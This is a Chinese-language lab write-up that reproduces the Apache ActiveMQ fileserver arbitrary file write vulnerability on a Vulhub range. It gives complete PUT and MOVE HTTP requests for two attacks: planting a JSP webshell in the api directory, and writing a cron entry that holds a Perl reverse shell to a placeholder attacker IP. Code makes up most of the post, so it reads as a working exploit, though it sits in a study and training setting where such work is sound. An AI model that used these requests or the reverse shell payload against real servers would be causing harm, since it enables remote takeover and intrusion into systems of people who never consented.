环境搭建

这里采用Vulhub漏洞靶场直接一键搭建

漏洞复现

这个漏洞在fileserver应用中,这里介绍一下ActiveMQweb控制台的三个应用:

1
2
3
4
5
6
7
8
admin:管理员页面,对后台进行一系列的操作,需要登录
api:普通的接口,同样需要登录
fileserver:储存文件的接口,可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,
其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但是随后发现:
1.其使用率并不高
2.文件操作容易出现漏洞
所以ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
(转自docker文档)

所以,漏洞是基于版本的,这里的版本支持fileserver
因为fileserver不仅支持写入文件,还支持移动文件;
这个时候我们就能利用这个漏洞了,

1
2
3
4
5
首先写入一个文件,随后使用移动文件的请求将文件移动到任意位置,
造成任意文件写入漏洞。文件写入有如下方法可以利用:
1.写入webshell
2.写入cron或ssh key等文件
3.写入jar或jetty.xml等库和配置文件

分析一下这三种方法

写入webshell

首先写入webshell,访问:

1
http:/IP:8161/fileserver/

确保fileserver是开启的,

虽然是开启的,但是fileserver是不会解析jsp的,所以需要移动到能够解析jsp的目录下,
比如说刚刚的提到的api应用目录,但需要知道activemq的绝对路径,
所以这种方法比较鸡肋,但是胜在简单,先登录上后台,
默认用户名密码均是admin,在:

1
http://IP:8161/test/systemProperties.jsp

可以看到在opt/activemq/

然后接下来就比较简单了,利用burpsuite来上传webshell,

1
2
3
4
5
6
7
8
9
10
11
PUT /fileserver/webshell.txt HTTP/1.1
Host: IP:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Connection: close

webshell

当返回204的时候证明已经上传成功了。
接下来一步是利用MOVE命令来移动到api目录下解析

1
2
3
4
5
6
7
8
9
10
MOVE /fileserver/webshell.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/webshell.jsp
Host: IP:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Connection: close

同样的,返回204就证明已经成功了。
接下来可以直接访问

1
http://IP:8161/api/webshell.jsp

可以看到已经成功解析了:

总结一下,这种方法需要先登录后台,并且需要知道目录结构,所以比较鸡肋

写入cron或ssh key等文件

同样的方法上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
PUT /fileserver/3.txt HTTP/1.1
Host: IP:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Connection: close
Content-Length: 0

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="攻击IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

然后使用MOVE指令移动到/etc/cron.d目录下

1
2
3
4
5
6
7
8
9
10
MOVE /fileserver/3.txtHTTP/1.1
Destination: file:///etc/cron.d/root
Host: IP:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Connection: close

同样的道理,都返回204就证明成功了,同时攻击机上应该监听端口,等待cron.d执行即可,

写入jetty.xml或jar

暂时不会,有时间补上,文档是这样给出来的:

1
2
3
理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。

有的情况下jetty.xml和jar等所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。